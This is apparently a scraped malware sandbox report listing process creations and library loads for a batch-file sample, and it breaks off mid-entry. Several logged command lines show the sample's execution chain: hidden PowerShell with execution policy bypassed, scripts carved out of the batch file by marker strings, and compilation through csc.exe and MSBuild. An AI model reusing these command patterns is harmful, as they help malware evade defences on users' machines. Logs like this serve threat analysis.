"C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008432-00000C17-1428325513 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008432-00000C17-1428978146 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00008432-00000C17-1429651009 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008432-00000C17-1429884578 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008432-00000C17-1430674063 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008432-00000C17-1430810633 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008432-00000C17-1430872095 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008432-00000C17-1431133146 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006932-00000C17-1439419137 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006932-00000C17-144170845132:Td0a,"cmd.exe" called "CreateProcessW" with parameter "powershell -WindowStyle Hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$q=[char]34;$a='/c '+$q+$q+$env:UEOOT" - (UID: 00000000-00003128), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /c ""C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" 3a255e53d3" - (UID: 00000000-00007840), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c find /c /v "" < "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" - (UID: 00000000-00003704), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5" - (UID: 00000000-00003704) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da" - (UID: 00000000-00003704), "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae816" - (UID: 00000000-00003704) "cmd.exe" called "CreateProcessW" with parameter "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "%TEMP%\svc_2842731493_26626" - (UID: 00000000-00003704), "cmd.exe" called "CreateProcessW" with parameter "find /c /v """ - (UID: 00000000-00005444), "cmd.exe" called "CreateProcessW" with parameter "findstr /n /C:"---BEGIN_PS---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" - (UID: 00000000-00007156), "cmd.exe" called "CreateProcessW" with parameter "findstr /n /C:"---BEGIN_ENC---" "C:\e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin.bat"" - (UID: 00000000-00006516), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /c "%TEMP%\qrictpazfj4.bat" __hidden" - (UID: 00000000-00008432), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c find /c /v "" < "%TEMP%\qrictpazfj4.bat"" - (UID: 00000000-00006932), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" - (UID: 00000000-00006932), "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Get-Content 'C:\Users\HAPU" - (UID: 00000000-00006932) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\" - (UID: 00000000-00006932), "cmd.exe" called "CreateProcessW" with parameter "find /c /v """ - (UID: 00000000-00008460), "cmd.exe" called "CreateProcessW" with parameter "findstr /n /C:"---BEGIN_PS---" "%TEMP%\qrictpazfj4.bat"" - (UID: 00000000-00006156), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\1hgx3gv4\1hgx" - (UID: 00000000-00007736) "powershell.exe" called "CreateProcessA" with parameter "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" - (UID: 00000000-00007736)33:Tfdd3,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003128) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003128) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003128) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003128) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007840) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007840) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003704) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003704) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003704) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003704) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005444) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005444) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005444) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005444) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007156) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007156) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006516) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006516) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006516) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006516) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00008244) "powershell.exe" called "LoadLibrary" with a parameter 